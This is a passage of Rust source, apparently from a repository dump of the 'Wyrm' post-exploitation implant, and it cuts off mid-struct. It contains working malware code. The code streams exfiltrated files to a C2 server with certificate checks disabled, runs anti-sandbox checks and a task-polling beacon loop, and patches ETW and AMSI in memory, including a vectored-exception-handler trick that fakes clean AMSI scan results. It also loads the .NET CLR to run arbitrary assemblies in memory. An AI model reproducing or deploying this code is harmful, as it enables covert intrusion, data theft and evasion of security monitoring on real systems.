Ok(decode_tasks_stream(&body))\n}\n\n/// Downloads a file to a buffer in memory\n///\n/// # Note\n/// As this function downloads a file **in memory**, ensure you are not downloading something massive with this\n/// as it will cause the device to run OOM. If that functionality is necessary, then make a streaming function which\n/// downloads to a file over a stream.\npub fn download_file_with_uri_in_memory(uri: &str, wyrm: &Wyrm) -> Result<Vec<u8>, ureq::Error> {\n    let formatted_url = format!(\"{}:{}{}\", wyrm.c2_config.url.0, wyrm.c2_config.port, uri);\n    let sec_token = &wyrm.c2_config.security_token;\n    let ua = &wyrm.c2_config.useragent;\n    let headers = generate_generic_headers(&wyrm.implant_id, sec_token, ua);\n\n    let mut response = http_get(formatted_url, headers, wyrm)?;\n\n    read_body_with_limit(&mut response)\n}\n\npub fn upload_file_as_stream(implant: &Wyrm, ef: &ExfiltratedFile) {\n    let url = construct_c2_url(implant);\n\n    let headers = generate_generic_headers(\n        &implant.implant_id,\n        &implant.c2_config.security_token,\n        &implant.c2_config.useragent,\n    );\n\n    let agent = generate_http_agent(implant);\n\n    let hostname = ef.hostname.clone();\n    let source_path = ef.file_path.clone();\n\n    let file_name = Path::new(&source_path)\n        .file_name()\n        .unwrap_or_default()\n        .to_string_lossy()\n        .into_owned();\n\n    let file = match File::open(&source_path) {\n        Ok(f) => f,\n        Err(_) => {\n            print_failed(format!(\n                \"{} {}\",\n                sc!(\"Could not open file.\", 96).unwrap(),\n                source_path\n            ));\n            return;\n        }\n    };\n\n    let part = Part::owned_reader(file)\n        .file_name(&file_name)\n        .mime_str(\"application/octet-stream\")\n        .unwrap();\n\n    let form = Form::new()\n        .text(\"hostname\", &hostname)\n        .text(\"source_path\", &source_path)\n        .part(\"file\", part);\n\n    let mut req = agent.post(&url);\n\n    for (k, v) in headers.iter() {\n        req = req.header(k, v);\n    }\n\n    match req.send(form) {\n        Ok(_resp) => (),\n        Err(e) => {\n            print_failed(format!(\n                \"{} {e}\",\n                sc!(\"Could not send file to c2.\", 72).unwrap()\n            ));\n        }\n    }\n}\n\nfn generate_http_agent(implant: &Wyrm) -> Agent {\n    if let Some(px) = &implant.c2_config.url.1 {\n        let px = Proxy::new(&px).unwrap();\n        let config = Config::builder()\n            .tls_config(\n                TlsConfig::builder()\n                    .provider(TlsProvider::NativeTls)\n                    .disable_verification(true)\n                    .build(),\n            )\n            .proxy(Some(px))\n            // Set the User-Agent in the builder to make sure proxy CONNECT connections have the UA,\n            // as opposed to the ureq UA.\n            .user_agent(implant.c2_config.useragent.clone())\n            .build();\n\n        config.into()\n    } else {\n        let config: Config = Config::builder()\n            .tls_config(\n                TlsConfig::builder()\n                    .provider(TlsProvider::NativeTls)\n                    .disable_verification(true)\n                    .build(),\n            )\n            .proxy(None)\n            // Set the User-Agent in the builder to make sure proxy CONNECT connections have the UA,\n            // as opposed to the ureq UA.\n            .user_agent(implant.c2_config.useragent.clone())\n            .build()\n            .into();\n\n        config.into()\n    }\n}\n"
  },
  {
    "path": "implant/src/entry.rs",
    "content": "//! Entry module for kicking off the implant, whether from a DLL or an exe.\n\nuse core::{sync::atomic::AtomicBool, time::Duration};\nuse std::sync::atomic::Ordering;\n\nuse windows_sys::Win32::System::Threading::{ExitProcess, Sleep};\n\nuse crate::utils::console::{print_failed, print_info};\n\nuse crate::{\n    anti_sandbox::anti_sandbox,\n    comms::configuration_connection,\n    evasion::run_evasion,\n    utils::console::init_agent_console,\n    wyrm::{Wyrm, calculate_sleep_seconds},\n};\n\n/// Determines whether the agent is built as a service, or not\npub static IS_IMPLANT_SVC: AtomicBool = AtomicBool::new(false);\n/// Is the application currently running - this will be set to false when the exit command is given.\npub static APPLICATION_RUNNING: AtomicBool = AtomicBool::new(false);\n\n/// Literally just the entry function into the payload allowing flexibility to call from either\n/// an exe, or dll\npub fn start_wyrm() {\n    APPLICATION_RUNNING.store(true, Ordering::SeqCst);\n    init_agent_console();\n\n    #[cfg(debug_assertions)]\n    print_info(\"Starting Wyrm post exploitation framework in debug mode..\");\n\n    // Do the anti-sandbox, etw patching, etc.. before we jump into the implant loop.\n    on_start_evasion();\n\n    //\n    // Initialise the implant\n    //\n    let mut implant = Wyrm::new();\n\n    //\n    // Enter the core loop\n    //\n    first_check_in(&mut implant);\n\n    loop {\n        implant.get_tasks_http();\n        implant.dispatch_tasks();\n\n        let t = Duration::from_secs(calculate_sleep_seconds(&implant)).as_millis() as u32;\n        unsafe {\n            Sleep(t);\n        }\n    }\n}\n\nfn on_start_evasion() {\n    // First run the anti-sandbox checks, we dont necessarily want to do other\n    // evasion strategies before this point, if they were enabled in the build\n    // profile.\n    anti_sandbox();\n\n    // Now run the memory evasion strategies\n    run_evasion();\n\n    #[cfg(debug_assertions)]\n    print_info(\"All on start evasion checks completed\");\n}\n\npub fn first_check_in(implant: &mut Wyrm) {\n    let mut attempt: u32 = 0;\n\n    loop {\n        // Try get the response from the C2; if we receive an error then keep looping over this\n        // first configuration until we get a successful response.\n        // Ultimately, this may hinder the implant if it cannot get a connection, but at the same time\n        // it would be useless given it acts as a post exploitation framework if we cannot control it.\n        let tasks = match configuration_connection(implant) {\n            Ok(r) => r,\n            Err(e) => {\n                #[cfg(debug_assertions)]\n                print_failed(format!(\"Failed to make first connection to C2. {e}\"));\n\n                attempt += 1;\n\n                if attempt == implant.first_connection_retries.num_retries {\n                    #[cfg(debug_assertions)]\n                    print_failed(\"Max first connection retries reached. Exiting.\");\n                    unsafe { ExitProcess(0) };\n                }\n\n                let t =\n                    Duration::from_secs(implant.first_connection_retries.failed_first_conn_sleep)\n                        .as_millis();\n                unsafe { Sleep(t as u32) };\n                continue;\n            }\n        };\n\n        //\n        // Now that we have the tasks, we can dispatch them to set anything that is required locally.\n        //\n\n        if tasks.is_empty() {\n            #[cfg(debug_assertions)]\n            print_info(\"Tasks were empty on implant first run\");\n            return;\n        }\n\n        for task in tasks {\n            implant.tasks.push_back(task);\n        }\n\n        implant.dispatch_tasks();\n\n        break;\n    }\n}\n"
  },
  {
    "path": "implant/src/evasion/amsi.rs",
    "content": "use std::ffi::c_void;\n\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::Win32::System::{\n    Diagnostics::Debug::{AddVectoredExceptionHandler, WriteProcessMemory},\n    Threading::GetCurrentProcess,\n};\n\nuse crate::{\n    evasion::veh::{addr_of_amsi_scan_buf, veh_handler},\n    utils::console::{print_failed, print_info},\n};\n\n/// Evades AMSI in the current process if the AMSI patching feature flag is enabled. This function can\n/// be called without checking whether the feature flag is enabled, as the check happens within the\n/// function.\n///\n/// **NOTE**: This function WILL NOT load amsi for you or check if it is loaded ahead of time. That\n/// responsibility is on the caller.\n///\n/// # Returns\n/// The function will return a `bool` indicating whether the AMSI evasion was successful; returns `false`\n/// if it failed.\npub fn evade_amsi() -> bool {\n    #[cfg(feature = \"patch_amsi\")]\n    {\n        // NOTE: Disabling for now in favour of the possibly more stealthy VEH^2 technique\n        // amsi_patch_ntdll();\n\n        //\n        // The best shot we got for VEH^2 in determining if it was successful is checking that the DLL is\n        // loaded.. if not, it will not work and should return false, so check that before continuing.\n        //\n        if addr_of_amsi_scan_buf().is_none() {\n            return false;\n        }\n\n        //\n        // Ok now call actual technique\n        //\n        amsi_veh_squared();\n\n        return true;\n    }\n\n    print_info(sc!(\"WARNING: Not patching AMSI. This could be dangerous.\", 49).unwrap());\n    false\n}\nfn amsi_patch_ntdll() {\n    use shared_no_std::export_resolver::resolve_address;\n\n    use crate::utils::console::print_info;\n\n    print_info(sc!(\"Patching amsi..\", 49).unwrap());\n\n    let fn_addr = match resolve_address(&sc!(\"amsi.dll\", 42).unwrap(), \"AmsiScanBuffer\", None) {\n        Ok(a) => a,\n        Err(_) => {\n            #[cfg(debug_assertions)]\n            use crate::utils::console::print_failed;\n\n            #[cfg(debug_assertions)]\n            print_failed(\"Failed to find function AmsiScanBuffer..\");\n\n            return;\n        }\n    };\n\n    let handle = unsafe { GetCurrentProcess() };\n    let ret_opcode: u8 = 0xC3;\n\n    let size = std::mem::size_of_val(&ret_opcode);\n    let mut bytes_written: usize = 0;\n\n    let _res = unsafe {\n        WriteProcessMemory(\n            handle,\n            fn_addr,\n            &ret_opcode as *const u8 as *const c_void,\n            size,\n            &mut bytes_written,\n        )\n    };\n}\n\n#[inline(always)]\nfn amsi_veh_squared() -> bool {\n    let h = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) };\n    if h.is_null() {\n        print_failed(sc!(\"Failed to execute AddVectoredExceptionHandler\", 0xEF).unwrap());\n        return false;\n    }\n\n    // This is statically (and/or at runtime) probably quite easy to detect immediately after calling AVEH??\n    unsafe { core::arch::asm!(\"int3\") };\n\n    true\n}\n"
  },
  {
    "path": "implant/src/evasion/etw.rs",
    "content": "use std::ffi::c_void;\n\nuse shared_no_std::export_resolver;\nuse shared_no_std::export_resolver::ExportResolveError;\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::Win32::System::{\n    Diagnostics::Debug::WriteProcessMemory, Threading::GetCurrentProcess,\n};\n\nuse crate::utils::console::print_failed;\n\npub(super) fn etw_bypass() {\n    #[cfg(feature = \"patch_etw\")]\n    {\n        #[cfg(debug_assertions)]\n        use crate::utils::console::print_info;\n\n        #[cfg(debug_assertions)]\n        print_info(\"Patching etw..\");\n\n        let _ = evade_etw_current_process_overwrite_ntdll();\n    }\n}\n\nfn evade_etw_current_process_overwrite_ntdll() -> Result<(), ExportResolveError> {\n    let fn_addr =\n        export_resolver::resolve_address(&sc!(\"ntdll.dll\", 42).unwrap(), \"NtTraceEvent\", None)?\n            as *mut c_void;\n\n    if fn_addr.is_null() {\n        print_failed(sc!(\"Error resolving NtTraceEvent, not patching ETW.\", 95).unwrap());\n    }\n\n    let handle = unsafe { GetCurrentProcess() };\n    let ret_opcode: u8 = 0xC3;\n\n    // Have we already patched?\n    if unsafe { *(fn_addr as *mut u8) } == 0xC3 {\n        return Ok(());\n    }\n\n    let size = std::mem::size_of_val(&ret_opcode);\n    let mut bytes_written: usize = 0;\n\n    let _ = unsafe {\n        WriteProcessMemory(\n            handle,\n            fn_addr,\n            &ret_opcode as *const u8 as *const c_void,\n            size,\n            &mut bytes_written,\n        )\n    };\n\n    Ok(())\n}\n"
  },
  {
    "path": "implant/src/evasion/mod.rs",
    "content": "use crate::evasion::etw::etw_bypass;\n\npub mod amsi;\nmod etw;\nmod veh;\n\npub fn run_evasion() {\n    //\n    // Note these functions are feature gated on the inside of their calls so dont worry about that :)\n    //\n\n    etw_bypass();\n\n    //\n    // Note we do not try patch AMSI here, that should be done on demand in the process when required. AMSI is loaded as\n    // amsi.dll.\n    //\n}\n"
  },
  {
    "path": "implant/src/evasion/veh.rs",
    "content": "//! This module contains the vectored exception handler when abusing it for evasive purposes\n\nuse std::ffi::c_void;\n\nuse shared_no_std::export_resolver;\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::Win32::{\n    Foundation::{EXCEPTION_BREAKPOINT, EXCEPTION_SINGLE_STEP},\n    System::Diagnostics::Debug::{\n        CONTEXT_DEBUG_REGISTERS_AMD64, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH,\n        EXCEPTION_POINTERS,\n    },\n};\n\npub(super) unsafe extern \"system\" fn veh_handler(p_ep: *mut EXCEPTION_POINTERS) -> i32 {\n    let exception_record = unsafe { *(*p_ep).ExceptionRecord };\n    let ctx = unsafe { &mut *(*p_ep).ContextRecord };\n\n    if exception_record.ExceptionCode == EXCEPTION_BREAKPOINT {\n        if let Some(p_amsi_scan_buf) = addr_of_amsi_scan_buf() {\n            // Set the address we wish to monitor for a hardware breakpoint\n            ctx.Dr0 = p_amsi_scan_buf as *const c_void as u64;\n            // Set the bit which says Dr0 is enabled locally\n            ctx.Dr7 |= 1;\n        }\n\n        // Increase the instruction pointer by 1, so we effectively move to the next instruction after int3\n        ctx.Rip += 1;\n        // Set flags\n        ctx.ContextFlags |= CONTEXT_DEBUG_REGISTERS_AMD64;\n        // clear dr6\n        ctx.Dr6 = 0;\n\n        return EXCEPTION_CONTINUE_EXECUTION;\n    } else if exception_record.ExceptionCode == EXCEPTION_SINGLE_STEP {\n        // Gate the exception to make sure it was our entry which triggered\n        // to prevent false positives (which will lead to UB in the process)\n        if (ctx.Dr6 & 0x1) == 0 {\n            return EXCEPTION_CONTINUE_SEARCH;\n        }\n\n        // Is there any debate over which one is better...????\n        const AMSI_RESULT_CLEAN: u64 = 0;\n        const _AMSI_RESULT_NOT_DETECTED: u64 = 1;\n\n        // fake a return value in rax\n        ctx.Rax = AMSI_RESULT_CLEAN as u64;\n\n        // get return addr from the stack\n        let rsp = ctx.Rsp as *const u64;\n        let return_address = unsafe { *rsp };\n        // set it\n        ctx.Rip = return_address;\n\n        // simulate popping the ret from the stack\n        ctx.Rsp += 8;\n\n        // clear dr6\n        ctx.Dr6 = 0;\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    // All other  cases\n    EXCEPTION_CONTINUE_SEARCH\n}\n\npub(super) fn addr_of_amsi_scan_buf() -> Option<*const c_void> {\n    match export_resolver::resolve_address(&sc!(\"amsi.dll\", 42).unwrap(), \"AmsiScanBuffer\", None) {\n        Ok(a) => return Some(a),\n        Err(_) => {\n            use crate::utils::console::print_failed;\n            print_failed(sc!(\"Failed to find function AmsiScanBuffer..\", 0xde).unwrap());\n\n            return None;\n        }\n    }\n}\n"
  },
  {
    "path": "implant/src/execute/dotnet.rs",
    "content": "use core::{ffi::c_void, iter::once, mem::zeroed, ptr::null_mut};\n\nuse shared::{task_types::DotExDataForImplant, tasks::WyrmResult};\nuse str_crypter::{decrypt_string, sc};\nuse windows_sys::{\n    Win32::{\n        Foundation::SysAllocString,\n        System::{\n            ClrHosting::{CLRCreateInstance, CorRuntimeHost},\n            Com::SAFEARRAY,\n            Ole::{\n                SafeArrayAccessData, SafeArrayCreateVector, SafeArrayDestroy, SafeArrayPutElement,\n                SafeArrayUnaccessData,\n            },\n            Variant::{VARIANT, VT_ARRAY, VT_BSTR, VT_UI1, VT_VARIANT},\n        },\n    },\n    core::GUID,\n};\n\nuse crate::{\n    evasion::amsi::evade_amsi,\n    execute::ffi::{\n        _AppDomain, _Assembly, ICLRMetaHost, ICLRRuntimeInfo, ICorRuntimeHost, IUnknown,\n    },\n};\n\npub enum DotnetError {\n    IntOverflow,\n    ClrNotInitialised(i32),\n    RuntimeNotInitialised(i32),\n    CorHostNotInitialised(i32),\n    CannotStartRuntime(i32),\n    ArgPutFailed(i32),\n    AssemblyDataNull,\n    SafeArrayNotInitialised,\n    SafeArrayAccessUnaccessFail(i32),\n    BadEntrypoint(i32),\n    Load3Failed(i32),\n    AmsiEvadeFail,\n}\n\nimpl DotnetError {\n    fn to_string(&self) -> String {\n        match self {\n            DotnetError::ClrNotInitialised(i) => {\n                format!(\"{} {i:#X}\", sc!(\"CLR was not initialised.\", 73).unwrap())\n            }\n            DotnetError::RuntimeNotInitialised(i) => {\n                format!(\n                    \"{} {i:#X}\",\n                    sc!(\"Runtime was not initialised.\", 73).unwrap()\n                )\n            }\n            DotnetError::CorHostNotInitialised(i) => {\n                format!(\n                    \"{} {i:#X}\",\n                    sc!(\"Cor Host was not initialised.\", 73).unwrap()\n                )\n            }\n            DotnetError::CannotStartRuntime(i) => {\n                format!(\"{} {i:#X}\", sc!(\"Cannot start runtime.\", 73).unwrap())\n            }\n            DotnetError::AssemblyDataNull => sc!(\"_Assembly data was null\", 73).unwrap(),\n            DotnetError::SafeArrayNotInitialised => {\n                sc!(\"SAFEARRAY could not be initialised\", 73).unwrap()\n            }\n            DotnetError::IntOverflow => sc!(\n                \"An int overflow occurred, not continuing with operation.\",\n                81\n            )\n            .unwrap(),\n            DotnetError::ArgPutFailed(i) => {\n                format!(\n                    \"{} {i:#X}\",\n                    sc!(\"Could not put args in commandline. Error code:\", 73).unwrap()\n                )\n            }\n            DotnetError::SafeArrayAccessUnaccessFail(i) => {\n                format!(\n                    \"{} {i:#X}\",\n                    sc!(\"Could not access / unaccess a SAFEARRAY:\", 73).unwrap()\n                )\n            }\n            DotnetError::BadEntrypoint(i) => {\n                format!(\n                    \"{} {i:#X}\",\n                    sc!(\"Could not get entrypoint of assembly:\", 73).unwrap()\n                )\n            }\n            DotnetError::Load3Failed(i) => {\n                format!(\n                    \"{} {i:#X}\",\n                    sc!(\"Failed to load assembly into the process:\", 73).unwrap()\n                )\n            }\n            DotnetError::AmsiEvadeFail => {\n                format!(\n                    \"{}\",\n                    sc!(\n                        \"Failed to evade AMSI, not running dotnet code to protect you..\",\n                        79\n                    )\n                    .unwrap()\n                )\n            }\n        }\n    }\n}\n\nconst GUID_META_HOST: GUID = GUID {\n    data1: 0x9280188d,\n    data2: 0xe8e,\n    data3: 0x4867,\n    data4: [0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde],\n};\n\nconst GUID_RIID: GUID = GUID {\n    data1: 0xD332DB9E,\n    data2: 0xB9B3,\n    data3: 0x4125,\n    data4: [0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16],\n};\n\nconst GUID_RNTIME_INFO: GUID = GUID {\n    data1: 0xBD39D1D2,\n    data2: 0xBA2F,\n    data3: 0x486a,\n    data4: [0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91],\n};\n\nconst GUID_COR_RUNTIME: GUID = GUID {\n    data1: 0xcb2f6722,\n    data2: 0xab3a,\n    data3: 0x11d2,\n    data4: [0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e],\n};\n\nconst GUID_APP_DOMAIN: GUID = GUID {\n    data1: 0x05F696DC,\n    data2: 0x2B29,\n    data3: 0x3663,\n    data4: [0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13],\n};\n\n/// Entry function for executing dotnet binaries in the current process.\n///\n/// For simplicity, we accept the metadata un-decoded so the main dispatcher doesn't need to\n/// concern itself with the intrinsics. This function will handle that.\npub fn execute_dotnet_current_process(metadata: &Option<String>) -> WyrmResult<String> {\n    if metadata.is_none() {\n        return WyrmResult::Err(sc!(\"No metadata received with command.\", 87).unwrap());\n    }\n\n    let deser = match serde_json::from_str::<DotExDataForImplant>(metadata.as_ref().unwrap()) {\n        Ok(d) => d,\n        Err(e) => {\n            return WyrmResult::Err(format!(\n                \"{} {e}\",\n                sc!(\"Could not deserialise metadata\", 76).unwrap()\n            ));\n        }\n    };\n\n    match execute_dotnet_assembly(&deser.0, &deser.1) {\n        Ok(s) => WyrmResult::Ok(s),\n        Err(e) => WyrmResult::Err(format!(\n            \"{} {}\",\n            sc!(\"Error received during execution:\", 56).unwrap(),\n            e.to_string()\n        )),\n    }\n}\n\nfn execute_dotnet_assembly(buf: &[u8], args: &[String]) -> Result<String, DotnetError> {\n    //\n    // Load the CLR into the process and setup environment to support\n    //\n    let meta = create_clr_instance()?;\n    let runtime = get_runtime_v4(meta)?;\n    let host: *mut ICorRuntimeHost = get_cor_runtime_host(runtime)?;\n    start_runtime(host)?;\n    let app_domain = get_default_appdomain(host)?;\n\n    let p_args = make_params(args)?;\n    let p_sa = create_safe_array(buf)?;\n\n    // Create a junk decoy safe array such that we force a load of AMSI to then patch out\n    let decoy_buf = [0x00, 0x00, 0x00, 0x00];\n    let p_decoy_sa = create_safe_array(&decoy_buf)?;\n\n    //\n    // First load the decoy binary into the process; this is to bring in amsi.dll such that we can patch\n    // it should the operator have instructed the process to do so.\n    // After that, then we can load in the target assembly via the same load_3.\n    //\n    let mut sp_assembly: *mut _Assembly = null_mut();\n    let load_3 = unsafe { (*(*app_domain).vtable).Load_3 };\n\n    // Decoy - the result here is expected to be an error, so we dont want to check for this.\n    let _res = unsafe { load_3(app_domain as *mut _, p_decoy_sa, &mut sp_assembly) };\n\n    // Now we can patch AMSI as it will have been loaded into the process by the above load_3\n    #[cfg(feature = \"patch_amsi\")]\n    {\n        if evade_amsi() == false {\n            // We somehow failed on evading AMSI and therefore we should avoid continuing as\n            // it could lead to a detection.\n            return Err(DotnetError::AmsiEvadeFail);\n        };\n    }\n\n    // Reset assembly data and load the assembly with AMSI patched\n    sp_assembly = null_mut();\n    let res = unsafe { load_3(app_domain as *mut _, p_sa, &mut sp_assembly) };\n    if res != 0 {\n        return Err(DotnetError::Load3Failed(res));\n    }\n\n    if sp_assembly.is_null() {\n        return Err(DotnetError::AssemblyDataNull);\n    }\n\n    //\n    // Get the entrypoint of the assembly, should be Main?\n    //\n    let mut entryp = null_mut();\n    let res =\n        unsafe { ((*(*sp_assembly).vtable).get_EntryPoint)(sp_assembly as *mut _, &mut entryp) };\n\n    if res != 0 {\n        return Err(DotnetError::BadEntrypoint(res));\n    }\n\n    let mut retval = VARIANT::default();\n    let object = VARIANT::default();\n\n    //\n    // Now we can call the entrypoint via Invoke_3 which runs the assembly in our process\n    //\n    let vt = unsafe { &(*(*entryp).vtable) };\n    unsafe { (vt.Invoke_3)(entryp as *mut _, object, p_args, &mut retval) };\n\n    // Dont leave the (probably) signatured dotnet asm in memory\n    unsafe { SafeArrayDestroy(p_sa) };\n\n    Ok(sc!(\"Dotnet task complete and unloaded from memory\", 49).unwrap())\n}\n\nfn make_params(args: &[String]) -> Result<*mut SAFEARRAY, DotnetError> {\n    let bstr_array = args_to_safe_array(args)?;\n\n    let outer = unsafe { SafeArrayCreateVector(VT_VARIANT as u16, 0, 1) };\n    if outer.is_null() {\n        return Err(DotnetError::SafeArrayNotInitialised);\n    }\n\n    //\n    // Wrap the inner String[]\n    //\n    let mut v: VARIANT = unsafe { zeroed() };\n\n    v.Anonymous.Anonymous.vt = (VT_ARRAY | VT_BSTR) as u16;\n    v.Anonymous.Anonymous.Anonymous.parray = bstr_array;\n\n    let idx: i32 = 0;\n\n    let res = unsafe { SafeArrayPutElement(outer, &idx, &mut v as *mut _ as *mut _) };\n    if res != 0 {\n        return Err(DotnetError::ArgPutFailed(res));\n    }\n\n    Ok(outer)\n}\n\n#[macro_export]\nmacro_rules! put_string_in_array {\n    ($wide:expr, $p_sa:expr, $i:expr) => {{\n        let res = unsafe {\n            let p_str = SysAllocString($wide.as_ptr());\n            SafeArrayPutElement($p_sa, &$i as *const _ as *const i32, p_str as *const _)\n        };\n\n        if res != 0 {\n            return Err(DotnetError::ArgPutFailed(res));\n        }\n    }};\n}\n\n/// Converts arguments intended for the running assembly to a SAFEARRAY\nfn args_to_safe_array(args: &[String]) -> Result<*mut SAFEARRAY, DotnetError> {\n    let mut num_args = args.len();\n    let mut has_args = true;\n\n    if num_args == 0 {\n        has_args = false;\n        num_args = 1;\n    }\n\n    if num_args > u32::MAX as usize {\n        return Err(DotnetError::IntOverflow);\n    }\n\n    let p_sa = unsafe { SafeArrayCreateVector(VT_BSTR as u16, 0, num_args as u32) };\n\n    if p_sa.is_null() {\n        return Err(DotnetError::SafeArrayNotInitialised);\n    }\n\n    //\n    // If we have no args, just create an empty inner with 1 element, but 0 content.\n    // If we do have args, then iterate over them placing them properly in the array as an alloc'd WString\n    //\n    if !has_args {\n        let wide = vec![0u16];\n        let i = 0;\n        put_string_in_array!(wide, p_sa, i);\n    } else {\n        for (i, arg) in args.iter().enumerate() {\n            let wide: Vec<u16> = arg.encode_utf16().chain(once(0)).collect();\n\n            put_string_in_array!(wide, p_sa, i);\n        }\n    }\n\n    Ok(p_sa)\n}\n\nfn create_safe_array(buf: &[u8]) -> Result<*mut SAFEARRAY, DotnetError> {\n    let p_sa = unsafe { SafeArrayCreateVector(VT_UI1 as u16, 0, buf.len() as u32) };\n    if p_sa.is_null() {\n        return Err(DotnetError::SafeArrayNotInitialised);\n    }\n\n    let mut p_data = null_mut();\n    let res = unsafe { SafeArrayAccessData(p_sa, &mut p_data) };\n    if res != 0 {\n        return Err(DotnetError::SafeArrayAccessUnaccessFail(res));\n    }\n\n    unsafe { core::ptr::copy_nonoverlapping(buf.as_ptr(), p_data as *mut u8, buf.len()) };\n    let res = unsafe { SafeArrayUnaccessData(p_sa) };\n    if res != 0 {\n        return Err(DotnetError::SafeArrayAccessUnaccessFail(res));\n    }\n\n    Ok(p_sa)\n}\n\nfn create_clr_instance() -> Result<*mut ICLRMetaHost, DotnetError> {\n    let mut pp_interface = null_mut();\n\n    let h_result = unsafe { CLRCreateInstance(&GUID_META_HOST, &GUID_RIID, &mut pp_interface) };\n\n    if h_result != 0 {\n        return Err(DotnetError::ClrNotInitialised(h_result));\n    }\n\n    Ok(pp_interface as *mut ICLRMetaHost)\n}\n\nfn get_runtime_v4(meta: *mut ICLRMetaHost) -> Result<*mut ICLRRuntimeInfo, DotnetError> {\n    let vtbl = (unsafe { &*meta }).lpVtbl;\n    let get_runtime = (unsafe { &*vtbl }).GetRuntime;\n\n    let mut p_runtime: *mut c_void = null_mut();\n    let ver: Vec<u16> = \"v4.0.30319\\0\".encode_utf16().collect();\n\n    let h_result = unsafe { get_runtime(meta, ver.as_ptr(), &GUID_RNTIME_INFO, &mut p_runtime) };\n    if h_result < 0 {\n        return Err(DotnetError::RuntimeNotInitialised(h_result));\n    }\n    Ok(p_runtime as *mut ICLRRuntimeInfo)\n}\n\nfn get_cor_runtime_host(\n    runtime: *mut ICLRRuntimeInfo,\n) -> Result<*mut ICorRuntimeHost, DotnetError> {\n    let get_interface = unsafe { &*(*runtime).vtable }.GetInterface;\n\n    let mut p_host: *mut c_void = core::ptr::null_mut();\n    let h_result =\n        unsafe { get_interface(runtime, &CorRuntimeHost, &GUID_COR_RUNTIME, &mut p_host) };\n    if h_result < 0 {\n        return Err(DotnetError::CorHostNotInitialised(h_result));\n    }\n    Ok(p_host as *mut ICorRuntimeHost)\n}\n\nfn start_runtime(host: *mut ICorRuntimeHost) -> Result<(), DotnetError> {\n    let v_table = unsafe { &*(*host).vtable };\n\n    let h_result = unsafe { (v_table.Start)(host) };\n    if h_result < 0 {\n        Err(DotnetError::CannotStartRuntime(h_result))\n    } else {\n        Ok(())\n    }\n}\n\nfn get_default_appdomain(host: *mut ICorRuntimeHost) -> Result<*mut _AppDomain, DotnetError> {\n    let host_vtbl = unsafe { &*(*host).vtable };\n\n    let mut unk = null_mut();\n    let hr = unsafe { (host_vtbl.GetDefaultDomain)(host, &mut unk as *mut *mut _) };\n    if hr < 0 {\n        return Err(DotnetError::CorHostNotInitialised(hr));\n    }\n\n    let unk = unk as *mut IUnknown;\n    let query_interface = unsafe { (*(*unk).lpVtbl).QueryInterface };\n    let mut appdomain_ptr: *mut c_void = null_mut();\n\n    let hr = unsafe { query_interface(unk, &GUID_APP_DOMAIN, &mut appdomain_ptr) };\n    if hr < 0 {\n        return Err(DotnetError::CorHostNotInitialised(hr));\n    }\n\n    Ok(appdomain_ptr as *mut _AppDomain)\n}\n"
  },
  {
    "path": "implant/src/execute/ffi.rs",
    "content": "use std::ffi::{c_long, c_void};\n\nuse windows_sys::{\n    Win32::{\n        Foundation::HANDLE,\n        System::{Com::SAFEARRAY, Variant::VARIANT},\n    },\n    core::{BOOL, GUID},\n};\n\n#[repr(C)]\npub struct IUnknownVtbl {\n    pub QueryInterface: unsafe extern \"system\" fn(\n        this: *mut IUnknown,\n        riid: *const GUID,\n        ppv: *mut *mut c_void,\n    ) -> i32,\n    pub AddRef: unsafe extern \"system\" fn(this: *mut IUnknown) -> u32,\n    pub Release: unsafe extern \"system\" fn(this: *mut IUnknown) -> u32,\n}\n\n#[repr(C)]\npub struct IUnknown {\n    pub lpVtbl: *const IUnknownVtbl,\n}\n\n#[repr(C)]\npub struct ICLRMetaHostVtbl {\n    pub parent: IUnknownVtbl,\n    pub GetRuntime: unsafe extern \"system\" fn(\n        *mut ICLRMetaHost,\n        pwzVersion: *const u16,\n        riid: *const GUID,\n        ppRuntime: *mut *mut c_void,\n    ) -> i32,\n    pub GetVersionFromFile: unsafe extern \"system\" fn(this: *mut c_void) -> i32,\n    pub EnumerateInstalledRuntimes:\n        unsafe extern \"system\" fn(this: *mut c_void, ppEnumerator: *mut *mut c_void) -> i32,\n    pub EnumerateLoadedRuntimes: unsafe extern \"system\" fn(this: *mut c_void) -> i32,\n    pub RequestRuntimeLoadedNotification: unsafe extern \"system\" fn(this: *mut c_void) -> i32,\n    pub QueryLegacyV2RuntimeBinding: unsafe extern \"system\" fn(this: *mut c_void) -> i32,\n    pub ExitProcess: unsafe extern \"system\" fn(this: *mut c_void) -> i32,\n}\n\n#[repr(C)]\npub struct ICLRMetaHost {\n    pub lpVtbl: *const ICLRMetaHostVtbl,\n}\n\n#[repr(C)]\npub struct ICorRuntimeHost {\n    pub vtable: *const ICorRuntimeHostVtbl,\n}\n\n#[repr(C)]\npub struct ICorRuntimeHostVtbl {\n    pub parent: IUnknownVtbl,\n    pub CreateLogicalThreadState: unsafe extern \"system\" fn(this: *mut ICorRuntimeHost) -> i32,\n    pub DeleteLogicalThreadState: unsafe extern \"system\" fn(this: *mut ICorRuntimeHost) -> i32,\n    pub SwitchInLogicalThreadState:\n        unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, pFiberCookie: *mut u32) -> i32,\n    pub SwitchOutLogicalThreadState:\n        unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, pFiberCookie: *mut *mut u32) -> i32,\n    pub LocksHeldByLogicalThread:\n        unsafe extern \"system\" fn(this: *mut ICorRuntimeHost, pCount: *mut u32) -> i32,\n    pub MapFile: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        hFile: HANDLE,\n        hMapAddress: *mut c_void,\n    ) -> i32,\n    pub GetConfiguration: unsafe extern \"system\" fn(\n        this: *mut ICorRuntimeHost,\n        pConfiguration: *mut *mut c_void,\n    ) -> i32,\n    pub Start: unsafe extern \"system\" fn(this: *mut ICorRuntimeHost) -> i32,\n    pub Stop: unsafe extern \"system\" 